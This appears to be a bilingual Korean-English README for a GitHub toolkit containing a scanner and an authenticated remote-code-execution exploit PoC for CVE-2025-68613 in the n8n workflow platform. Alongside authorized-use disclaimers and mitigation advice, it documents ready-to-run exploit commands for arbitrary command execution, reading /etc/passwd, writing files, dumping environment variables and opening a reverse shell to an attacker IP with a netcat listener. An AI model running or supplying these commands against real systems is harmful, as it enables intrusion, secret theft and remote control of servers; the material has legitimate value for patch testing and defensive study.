CVE-2025-68613 – n8n 표현식 삽입 RCE

이 툴킷은 n8n Workflow Automation Platform의 중요한 취약점 CVE-2025-68613에 대한 스캐너 및 익스플로잇 PoC를 제공합니다.

이 저장소는 n8n Workflow Automation Platform에 영향을 미치는 중요한 CVE-2025-68613 취약점에 대한 스캐너 및 익스플로잇 PoC 스크립트를 제공합니다.

---

경고 / 주의

한국어

이 도구는 합법적이고 허가된 보안 테스트 전용입니다. 소유자의 허가 없이 이 도구를 시스템에 사용하는 것은 금지됩니다.

English

This tool is ONLY for authorized and legal security testing. Unauthorized usage is illegal and prohibited.

---

취약점 개요

• CVE ID : CVE-2025-68613
• 심각도 : Critical
• CVSS : 10.0
• 유형 : 표현식 삽입 → 원격 코드 실행 (RCE)
• 제품 : n8n Workflow Automation Platform

취약한 버전

• 0.211.0 – 1.120.3
• 1.121.0

패치된 버전

• 1.120.4+
• 1.121.1+
• 1.122.0+

---

저장소 구조

.
├── tot-scanner-2025-68613.py   # 취약점 스캐너 (익스플로잇 없음)
├── tot-exploit-2025-68613.py   # 인증된 RCE 익스플로잇 PoC
├── requirements.txt
└── README.md

---

스캐너 (비익스플로잇)

스캐너는 다음 용도로 사용됩니다:

• n8n 서비스 탐지
• n8n 버전 추출
• 취약점 상태 확인
• 익스플로잇 수행 안 함
• JSON 출력 지원

The scanner:

• Detects n8n service
• Extracts n8n version
• Determines vulnerability status
• No exploitation
• Supports JSON output

스캐너는 다음 엔드포인트를 확인합니다:

• /
• /rest/settings
• /healthz
• /api/v1/health

종속성 / 요구 사항

한국어

필요한 패키지:

• requests

requirements.txt 파일 내용:

requests>=2.28.0

English

Required packages:

• requests

requirements.txt content:

requests>=2.28.0

---

설치

pip install -r requirements.txt

---

스캐너 사용법

python3 tot-scanner-2025-68613.py -u http://target.com:5678

스캐너 JSON 모드

python3 tot-scanner-2025-68613.py -u http://target.com:5678 --json

스캐너 JSON 출력 예시

{
  "target": "http://target.com:5678",
  "detected": true,
  "version": "1.121.0",
  "vulnerable": true,
  "status": "vulnerable",
  "cve": "CVE-2025-68613"
}

스캐너 종료 코드

코드	의미
0	취약하지 않음
1	버전 알 수 없음
2	취약함

---

익스플로잇 PoC (인증된 RCE)

이 익스플로잇은 유효한 n8n 자격 증명이 필요합니다
Authenticated access is REQUIRED

익스플로잇 작동 방식:

1. n8n에 로그인
2. 워크플로우 생성
3. Set 노드에 악의적인 표현식 삽입
4. 워크플로우 실행
5. (선택 사항) 워크플로우 정리

---

익스플로잇 인자

인자	필수	설명
-u / --url	✅	대상 n8n URL
-e / --email	✅	n8n 계정 이메일
-p / --password	✅	n8n 계정 비밀번호
--payload	✅	페이로드 유형
--command	❌	OS 명령어 (cmd)
--file	❌	파일 경로 (read/write)
--content	❌	파일 내용 (write)
--lhost	❌	공격자 IP (revshell)
--lport	❌	공격자 포트 (revshell)
--verify-ssl	❌	SSL 인증서 확인

---

지원되는 페이로드

페이로드	기능
info	시스템 정보
cmd	명령 실행
env	환경 변수 덤프
read	파일 읽기
write	파일 쓰기
revshell	리버스 셸

---

익스플로잇 예제

시스템 정보

python3 tot-exploit-2025-68613.py  -u http://target.com:5678  -e [email protected]  -p password  --payload info

명령 실행

python3 tot-exploit-2025-68613.py  -u http://target.com:5678  -e [email protected]  -p password  --payload cmd  --command "id"

파일 읽기

python3 tot-exploit-2025-68613.py  -u http://target.com:5678  -e [email protected]  -p password  --payload read  --file /etc/passwd

파일 쓰기

python3 tot-exploit-2025-68613.py  -u http://target.com:5678  -e [email protected]  -p password  --payload write  --file /tmp/pwned.txt  --content "owned"

리버스 셸

nc -lvnp 4444

python3 tot-exploit-2025-68613.py  -u http://target.com:5678  -e [email protected]  -p password  --payload revshell  --lhost 10.10.14.5  --lport 4444

---

완화 조치

• n8n을 패치된 버전으로 업그레이드
• /rest/* 엔드포인트 접근 제한
• RBAC 및 강력한 인증 적용
• 알 수 없는 워크플로우 감사

---

면책 조항

이 프로젝트는 교육 및 허가된 보안 테스트 목적으로만 제공됩니다. 저자는 오용에 대해 책임을 지지 않습니다.

---

GitHub 주제

n8n
cve
cve-2025-68613
rce
expression-injection
security
pentest
red-team
blue-team
python

---

합법적이고 윤리적으로 유지하세요.